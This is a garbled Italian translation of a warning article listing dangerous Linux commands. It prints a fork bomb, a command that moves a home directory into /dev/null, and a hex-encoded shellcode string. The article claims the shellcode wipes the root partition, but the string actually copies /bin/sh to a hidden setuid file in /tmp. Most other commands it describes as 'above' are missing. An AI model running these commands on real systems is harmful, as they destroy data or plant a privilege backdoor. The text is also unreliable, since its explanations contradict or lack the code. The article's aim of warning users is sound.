La riga di comando di Linux è produttiva, utile e interessante ma a volte può essere molto pericolosa specialmente quando non sei sicuro di cosa stai facendo. Questo articolo non ha lo scopo di farti infuriare Linux o Riga di comando di Linux. Vogliamo solo farti conoscere alcuni dei comandi che dovresti pensare due volte prima di eseguirli.
Il rm -rf comando è uno dei modi più veloci per eliminare una cartella e il suo contenuto. Ma un piccolo errore di battitura o ignoranza può causare danni irreparabili al sistema. Alcune delle opzioni utilizzate con comando rm sono.
Quindi, fai attenzione durante l'esecuzione rm -rf comando. Per superare l'eliminazione accidentale del file da 'rm' comando, crea un alias di 'rm'comando come'rm -i' in ".bashrc", ti chiederà di confermare ogni cancellazione.
Quanto sopra è in realtà un bomba a forchetta. Opera definendo una funzione chiamata ':', che si autodefinisce due volte, una in primo piano e l'altra in secondo piano. Continua a essere eseguito ancora e ancora finché il sistema non si blocca.
:(){:|:&};:
Il comando precedente scrive l'output di 'comando' nei paraggi /dev/sda. Il comando precedente scrive dati grezzi e tutti i file sul blocco verranno sostituiti con dati grezzi, con conseguente perdita totale di dati sul blocco.
Il comando precedente si sposterà 'cartella' a /dev/null. In Linux /dev/null o nullo device è un file speciale che elimina tutti i dati scritti su di esso e segnala che l'operazione di scrittura è riuscita.
# mv /home/utente/* /dev/null
Il comando precedente sposterà tutto il contenuto di a Utente directory per /dev/null, che letteralmente significa tutto ciò che è stato inviato a buco nero (nullo).
Il comando precedente scaricherà uno script da una fonte dannosa e quindi lo eseguirà. Il comando Wget scaricherà lo script e SH eseguirà lo script scaricato.
NotaNota: dovresti essere molto consapevole della fonte da cui stai scaricando pacchetti e script. Utilizzare solo quegli script/applicazioni che vengono scaricati da una fonte attendibile.
Il comando precedente formatterà il blocco 'sda' e sicuramente saprai che dopo l'esecuzione del comando sopra il tuo Block (Disco rigido) sarebbe nuovo, NUOVO DI ZECCA! Senza alcun dato, lasciando il tuo sistema in una fase irrecuperabile.
Il comando precedente viene utilizzato per svuotare il contenuto del file. Se il comando precedente viene eseguito con un errore di battitura o ignoranza come "> xt.conf” scriverà il file di configurazione o qualsiasi altro sistema o file di configurazione.
Questo comando, come descritto nel nostro 10 comandi Linux meno conosciuti, viene utilizzato per modificare il comando di esecuzione precedente senza la necessità di ridigitare l'intero comando. Ma questo può essere davvero fastidioso se non ti sei preso il rischio di controllare a fondo la modifica nel comando originale usando ^pippo^bar comando.
Il comando precedente cancellerà il blocco sda e scrivi dati spazzatura casuali nel blocco. Ovviamente! Il tuo sistema verrebbe lasciato in una fase incoerente e irrecuperabile.
Il comando seguente non è altro che il primo comando sopra (rm -rf). Qui i codici sono nascosti in esadecimale in modo che un utente ignorante possa essere ingannato. L'esecuzione del codice seguente nel terminale cancellerà il tuo radice partizione.
Questo comando qui mostra che la minaccia potrebbe essere nascosta e normalmente non rilevabile a volte. Devi essere consapevole di quello che stai facendo e quale sarebbe il risultato. Non compilare/eseguire codici da una fonte sconosciuta.
char esp[] __attribute__ ((section(“.text”))) /* e.s.p. pubblicazione */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755. /tmp/.beyond;”;
Nota: Non eseguire nessuno dei comandi precedenti nel tuo Linux terminale o shell o del computer di un amico o della scuola. Se vuoi testarli, eseguili nella macchina virtuale. Qualsiasi inconsistenza o perdita di dati, dovuta all'esecuzione del comando sopra, romperà il tuo sistema per il quale, né il Autore dell'articolo nor Tecmint è responsabile.
È tutto per ora. Presto sarò di nuovo qui con un altro articolo interessante che le persone adoreranno leggere. Fino ad allora Resta sintonizzato e connesso a Tecmint. Se ne conosci altri simili Comandi Linux pericolosi e desideri che aggiungiamo all'elenco, comunicacelo tramite la sezione commenti e non dimenticare di fornire il tuo prezioso feedback.